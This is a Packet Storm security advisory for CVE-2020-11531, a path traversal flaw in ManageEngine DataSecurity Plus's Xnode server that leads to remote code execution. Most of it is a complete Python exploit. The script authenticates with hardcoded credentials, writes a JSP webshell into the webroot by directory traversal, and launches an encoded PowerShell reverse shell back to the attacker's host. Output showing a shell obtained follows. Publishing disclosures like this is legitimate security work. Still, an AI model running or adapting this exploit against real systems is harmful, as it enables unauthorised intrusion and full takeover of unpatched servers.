ManageEngine DataSecurity Plus Path Traversal / Code Execution

2020-05-08T00:00:00
ID PACKETSTORM:157604
Type packetstorm
Reporter Sahil Dhar
Modified 2020-05-08T00:00:00

Description

                                        
                                            `XL-2020-001 - DataSecurity Plus Xnode Server - Remote Code Execution via Path Traversal  
  
===============================================================================  
  
  
  
Identifiers  
  
-------------------------------------------------  
  
* CVE-2020-11531  
  
* XL-20-001  
  
  
  
CVSSv3 score  
  
-------------------------------------------------  
  
9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)  
  
  
  
Vendor  
  
-------------------------------------------------  
  
ManageEngine - [https://www.manageengine.com/data-security/](https://www.manageengine.com/data-security/)  
  
  
  
Product  
  
-------------------------------------------------  
  
ManageEngine DataSecurity Plus is a two-pronged solution for fighting insider threats, preventing data loss, and meeting compliance requirements. It provides realtime monitoring of filesystem there by help in maintaining the file integrity and combating against ransomeware attacks using automated threat response mechanisms. It comes with the features such as File Server Audting, Data Leak Prevention and Data Risk assessment  
  
  
  
Affected products  
  
-------------------------------------------------  
  
- All DataSecurity Plus versions prior to 6.0.1 (6011)  
  
- All ADAudit Plus versions prior to 6.0.3 (6032)  
  
  
  
Credit  
  
-------------------------------------------------  
  
Sahil Dhar - xen1thLabs - Software Labs  
  
  
  
Vulnerability summary  
  
-------------------------------------------------  
  
ManageEngine DataSecurity Plus's DataEngine Xnode Server application does not validate the database schema name when handling `DR-SCHEMA-SYNC` request. This allows an authenticated attacker to execute code in the context of DataSecurity Plus application by writing a JSP file in the webroot directory using a directory traversal attack.  
  
  
  
Technical details  
  
------------------------------------------------  
  
Upon receiving the `DR-SCHEMA-SYNC` request, the application calls the `syncDRSchemas()` function of `DataRepositoryManager` class at line:109 of `DataRepositoryManager.java` from `dataengine-xnode.jar` package.  
  
  
  
As can be seen at line:126 of function `syncDRSchemas()` , the function concatenates the name of database schema while generating the filename dynamically and write the values passed in a JSON object to it.  
  
  
  
```java  
  
109: public static JSONObject syncDRSchemas(DataRepositoryActionRequest request) throws Exception {  
  
110: JSONObject jResponse = new JSONObject();  
  
111: JSONObject jSchemas = request.drSchemaListObj();  
  
112: File schemasFolder = ((Path) Environment.XNODE_DR_SCHEMA_DIR.value()).toFile();  
  
113: schemaMap = new ConcurrentHashMap();  
  
114: if (!schemasFolder.exists()) {  
  
115: schemasFolder.mkdirs();  
  
116: }  
  
117: if (schemasFolder.isDirectory()) {  
  
118: File[] schemaFileList = schemasFolder.listFiles();  
  
119: for (File schemaFile: schemaFileList) {  
  
120: schemaFile.delete();  
  
121: }  
  
122: }  
  
123: Iterator iterator = jSchemas.keys();  
  
124: while (iterator.hasNext()) {  
  
125: String key = (String) iterator.next();  
  
126: BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(Environment.XNODE_DR_SCHEMA_DIR.value() + File.separator + key));  
  
127: bw.write(jSchemas.getJSONObject(key).toString(2));  
  
128: bw.close();  
  
129: Object schema = new XNodeDRSchema(key.replace(".json", ""), jSchemas.getJSONObject(key));  
  
130: schemaMap.put(((DRSchema) schema).getSchemaName(), schema);  
  
131: LOGGER.info("SYNCHED : DataRepository Schema '" + key + "'");  
  
132: }  
  
133: checkFieldWithMultipleDataTypes();  
  
134: jResponse.put("error_code", 0);  
  
135: return jResponse;  
  
136: }  
  
```  
  
  
  
Proof of concept  
  
-------------------------------------------------  
  
Using the following exploit code, we can observe that by sending a `DR-SCHEMA-SYNC` request to the DataEngine XNode server with specially crafted schema name, one can write files to the webroot directory of DataSecurityPlus application and execute arbitrary JAVA code.  
  
  
  
```python  
  
#!/usr/bin/env python  
  
# Author: Sahil Dhar(@0x401)  
  
  
  
import socket  
  
import sys  
  
import requests  
  
import telnetlib  
  
import threading  
  
import os  
  
from time import sleep  
  
from base64 import b64encode  
  
from requests.packages.urllib3 import disable_warnings  
  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
  
  
  
def reverse_tcp_handler(lport):  
  
print("[+] Starting reverse handler on port %d" %(lport))  
  
t = telnetlib.Telnet()  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
  
s.bind(("0.0.0.0", lport))  
  
s.listen(1)  
  
conn, addr = s.accept()  
  
print("[+] Got connection from %s" % addr[0])  
  
t.sock = conn  
  
print("[+] whoami ?")  
  
t.write(b"whoami\n")  
  
t.interact()  
  
  
  
def get_bytearray_payload(lhost,lport):  
  
cmd = "$client = New-Object System.Net.Sockets.TCPClient('"+lhost+"',"+str(lport)+");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendb yte.Length);$stream.Flush()};$client.Close()"  
  
r_cmd = ""  
  
for c in cmd:  
  
r_cmd += c  
  
r_cmd += "\x00"  
  
payload = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc "%s"' % (b64encode(r_cmd.encode('utf-8'))).decode('utf-8')  
  
r = ""  
  
for i in payload:  
  
r += str(ord(i))  
  
r += ", "  
  
r = r[0:-2]  
  
return r  
  
  
  
def send_payload(rhost, rport, web_port, lhost, lport):  
  
auth =  
  
'{"username":"atom","password":"chegan","request_timeout":10,"action":"session:/authenticate"}'  
  
shell = '{"action":"dr:/dr_schema_sync","request_id":2, "dr_schema_list": {"../../../../../webapps/fap/poc.jsp":{"a":"<% Runtime.getRuntime().exec(new String(new byte[] {'+get_bytearray_payload(lhost, lport)+'})); %>"}}}'  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
s.connect((rhost,int(rport)))  
  
s.send(auth.encode('utf-8'))  
  
sleep(1)  
  
s.send(shell.encode('utf-8'))  
  
print("[+] Triggering the shell...")  
  
r = requests.get("http://%s:%d/poc.jsp<http://%25s:%25d/poc.jsp>" %(rhost, web_port))  
  
  
  
def main():  
  
help="%s <rhost> <rport> <web_port> <lhost> <lport>" % (os.path.basename(__file__))  
  
if len(sys.argv) < 6:  
  
print(help)  
  
os._exit(1)  
  
disable_warnings()  
  
rhost = sys.argv[1]  
  
rport = int(sys.argv[2])  
  
web_port = int(sys.argv[3])  
  
lhost = sys.argv[4]  
  
lport = int(sys.argv[5])  
  
th = threading.Thread(target=reverse_tcp_handler, args=(lport,))  
  
th.start()  
  
send_payload(rhost, rport, web_port, lhost, lport)  
  
  
  
if __name__=="__main__":  
  
main()  
  
```  
  
  
  
```  
  
#~ python3 exploit.py 192.168.56.108 29119 8800 192.168.56.1 4444  
  
[+] Starting reverse handler on port 4444  
  
[+] Triggering the shell...  
  
[+] Got connection from 192.168.56.108  
  
[+] whoami ?  
  
windowsx64-pc\windowsx64  
  
PS C:\Program Files (x86)\ManageEngine\DataSecurity Plus\bin>  
  
```  
  
  
  
Solution  
  
-------------------------------------------------  
  
Update the affected products to their latest version.  
  
  
  
Timeline  
  
-------------------------------------------------  
  
Date | Status  
  
------------|-----------------------------  
  
04-MAR-2020 | Reported to vendor  
  
13-MAR-2020 | Patch available  
  
05-MAY-2020 | Public disclosure  
  
  
  
  
  
`